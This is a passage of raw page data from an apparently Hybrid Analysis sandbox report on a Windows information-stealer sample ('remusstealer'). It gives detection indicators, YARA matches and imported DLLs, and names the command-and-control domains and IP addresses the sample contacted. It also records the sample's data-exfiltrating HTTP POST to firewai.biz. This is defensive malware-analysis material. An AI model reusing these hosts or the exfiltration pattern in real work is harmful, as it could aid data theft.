Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"sample.bin\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid Timestamp of PE file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\" \"tag=33affcf13f775e63f90369e9524544d8&hwid=c3f67f91133564456627f6bfa71f9c93\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":58,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":4,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["remusstealer","commodity","criminal","informationstealer","new_domain","malicious","suspicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6a0b411a59b047cff504a217","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":89,"malware_family":"W64.Evo","contacted_countries":["FRA","IND","USA"],"submit_name":"671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin","analysis_start_time":"2026-05-18T16:40:59+00:00","indicators_count":{"informative":129,"suspicious":25,"malicious":5},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"144.91.74.47","port":48261,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"address":"146.190.163.32","port":8768,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"address":"89.116.32.138","port":7582,"protocol":"TCP","country":"India","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"address":"104.21.67.22","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]}],"dns_resolutions":[{"domain":"eth.llamarpc.com","address":"104.21.67.22","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"domain":"firewai.biz","address":"144.91.74.47","ttl":112,"country":"France","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"domain":"mascard.biz","address":"146.190.163.32","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"domain":"woodfez.biz","address":"89.116.32.138","ttl":300,"country":"India","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]}],"http_requests":[{"host":"firewai.biz:48261","host_ip":"144.91.74.47:48261","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\nContent-Length: 47\nHost: firewai.biz:48261","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}],"processes":[{"pid":7884,"ppid":0,"name":"671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin.exe","command_line":"","sha256":"671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49","normalized_path":"C:\\671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49.bin.exe","uid":"00000000-00007884","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["mswsock.dll","gdi32full.dll","msvcp_win.dll","fastprox.dll","winnsi.dll","msvcrt.dll","winhttp.dll","ncryptsslp.dll","ntdll.dll","KernelBase.dll","combase.dll","wbemsvc.dll","dnsapi.dll","VxSSL64.dll","user32.dll","sechost.dll","oleaut32.dll","wbemprox.dll","dpapi.dll","ole32.dll","cfgmgr32.dll","nsi.dll","sspicli.dll","rpcrt4.dll","mskeyprotect.dll","apphelp.dll","shlwapi.dll","webio.dll","msasn1.dll","ncrypt.dll","win32u.dll","wbemcomn.dll","OnDemandConnRouteHelper.dll","kernel32.dll","gdi32.dll","imm32.dll","clbcatq.dll","bcryptprimitives.dll","rsaenh.dll","winmm.dll","bcrypt.dll","schannel.dll","ws2_32.dll","advapi32.dll","winmmbase.dll","powrprof.dll","IPHLPAPI.DLL","rasadhlp.dll","cryptbase.dll","gpapi.dll","ucrtbase.dll","cryptsp.dll","kernel.appcore.dll","FWPUCLNT.DLL","crypt32.dll","ntasn1.dll","fltLib.dll","uxtheme.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7884:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"name":"SM0:7884:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]}]}},"report_ids":{"sandbox_job_ids":["6a0b411a59b047cff504a217"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_70% Sample 671766846f63… — Score 89/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 671766846f63…. Malware family: Win/malicious_confidence_70%. Threat score 89/100. 6/27 AV engines flagged this file. 5 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_70% Sample 671766846f63… — Score 89/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 671766846f63…. Malware family: Win/malicious_confidence_70%. Threat score 89/100. 6/27 AV engines flagged this file. 5 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/671766846f634cbf303484d3fd76553d015cd30d46b877dce1d9e81972064a49"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_70% Sample 671766846f63… — Score 89/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 671766846f63…. Malware family: Win/malicious_confidence_70%. Threat score 89/100. 6/27 AV engines flagged this file. 5 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3b","11",{}]]